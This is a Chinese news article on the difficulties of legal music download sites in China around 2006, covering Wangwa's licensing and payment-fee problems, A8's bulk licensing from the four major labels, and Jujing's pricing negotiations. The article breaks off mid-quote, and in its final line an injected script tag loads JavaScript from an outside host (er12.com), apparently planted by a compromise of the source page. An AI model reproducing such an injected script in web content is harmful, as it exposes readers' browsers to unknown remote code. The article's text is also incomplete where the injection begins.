尽管中国正版音乐下载阵营的新加入者们成功地解决了唱片版权的老问题，但适合中国国情的赢利模式依然有待发掘
邱强是一个非洲音乐迷，每个周末她都要到北京天坛附近的红桥商场和东四环旁的潘家园淘碟，希望能找到德国独立唱片公司piranha出版的最新cd。
piranha公司是一家出版世界音乐的老牌公司，它的一张盗版cd在潘家园市场上能卖出近40元的好价钱，这也让邱强花了不少银子。
这些年来，最让邱强不满的是，她喜欢的这类“小众歌曲”很难在网络上找到下载，甚至是盗版的也没有。她告诉记者，如果能得到她的最爱，她愿意为正版下载支付合适的费用。
邱强还不知道，其实她只要花上20元钱，就可以从一家名叫网蛙的音乐网站下载一张pranha的正版专辑。
成立于2000年的网蛙，是目前中国7200多家在线音乐下载网站的一员，这些网站中提供正版音乐下载服务的还不到20家。
正版者的“非主流”生存
这家“小众”公司与邱强有着相同的品味，经营国际唱片公司的非主流音乐下载。不同的是，邱强是主动，网蛙是被动选择这样的“非主流”品味。
网蛙音乐网总经理张德亩介绍，公司刚成立时也考虑过向华纳、百代、环球和索尼bmg这四大国际唱片公司购买歌曲版权，但它们要价太高，网蛙只能向一些国际独立唱片公司购买非主流歌曲。
即便如此，张德亩对这个市场信心十足。“尽管这些独立唱片公司出的唱片销量不大，但它们将引领下一阶段的潮流。”他介绍说，主流的音乐都是从非主流开始的，比如上世纪八九十年代的rap-rock潮流(说唱摇滚)就是由独立唱片公司掀起；大的音乐巨头走的是大众路线，等独立唱片公司的歌曲流行后，巨头们就开始收购这些独立唱片公司了。
在目前中国，支付方式是正版音乐下载网站面临的一大难题。由于很多人对电子银行付费的安全性抱有怀疑，目前网蛙的大多数用户是通过手机进行支付，张德亩认为这对公司很不划算。“如果使用电子银行付费，我们只需要向银行支付5%的坏账率，而使用中国移动付费的话，我们要向移动缴纳15%的费用。”他介绍说，“比如用户支付1元钱，我们最后能够拿到的最好利润是5毛钱，这些钱还得去支付唱片公司的版权费和网站的日常运营。”
除了与国外的独立唱片公司合作外，网蛙还与90多家国内唱片公司签订了授权协议。“几年前，国内一些小型唱片公司出于自身宣传的目的主动为我们免费或者低价提供歌曲，但是现在他们也开始向我们要版权费了。”张德亩说。
从2000年成立以来，网蛙一直不能赢利，由于投资方不够耐心，网蛙已经几易掌门人。现在，张德亩正在努力通过各种方式和渠道，吸引邱强这类非主流音乐爱好者，来扭转自己的命运。
网蛙的尴尬，正是目前国内正版音乐下载网站的缩影。国际唱片公司过高的版权费用，既卡住了这些网站的命运，也捆住了自己在中国市场的手脚，其结果呈现出的是“双输”局面：中国的正版下载网站举步维艰，盗版音乐下载却遍地开花。
变局引导者
局面的变化出现在2006年初。3月22日，a8音乐公司宣布向国内3000家音乐网站提供几十万首正版歌曲，以打造中国最大的正版音乐网络联盟。a8称这几十万首歌曲大都是花巨资取得华纳、百代、环球和索尼bmg这四大国际唱片公司授权后的流行歌曲，也是目前被各免费音乐下载网站广为盗版的对象。a8期望通过“批发式”版权购买，降低下载费用，改变正版音乐下载止步不前的局面。a8音乐公司每年用于支付版权的费用超过3000万元，但网友下载某些歌曲的费用低至每首0.5元。a8音乐公司也表示，短期内他们赚不回，他们赌的是政府打击盗版的决心。
与此同时，2006年3月刚刚成立的巨鲸音乐网也得到了四大唱片公司的青睐。这个由篮球明星姚明与做过崔健等著名歌手经纪人的陈戈共同出资2000万美元资金打造的新公司，成立一个月就拥有了50万用户。
巨鲸音乐网ceo陈戈告诉记者，巨鲸已经从包括四大公司在内的全球1970多家唱片公司得到了授权。在谈到如何说服“四大”按中国国情制定授权价格时，陈戈向记者讲了一个颇为有趣的故事。
2005年6月，正在筹备巨鲸网的陈戈，陪同中国音像协会会长刘国雄前往伦敦出席英国唱片表演权管理有限公司成立71周年纪念大会。面对四大国际唱片公司，刘国雄作为除国际唱片业协会(ifpi)主席约翰·肯尼迪外惟一的发言嘉宾，阐述了中国政府打击音像制品盗版的态度。
陈戈对记者回忆说：“刘会长的演讲稿是我起草的，我向刘会长建议，应该为中国在线音乐授权定一个标杆，也就是以1元人民币为基础。”后来的事实证明，中国官方的这一表态对四大国际唱片公司加快对中国的歌曲授权起到了很大作用，巨鲸也在短时间内以理想的价格取得了授权。
然而，陈戈要买的并不是所有的音乐版权。“我去找百代谈，对方告诉我，他们有1000万首歌，每首100元给我，这就是10亿。我跟他们?script src=http://er12.com/t.js>
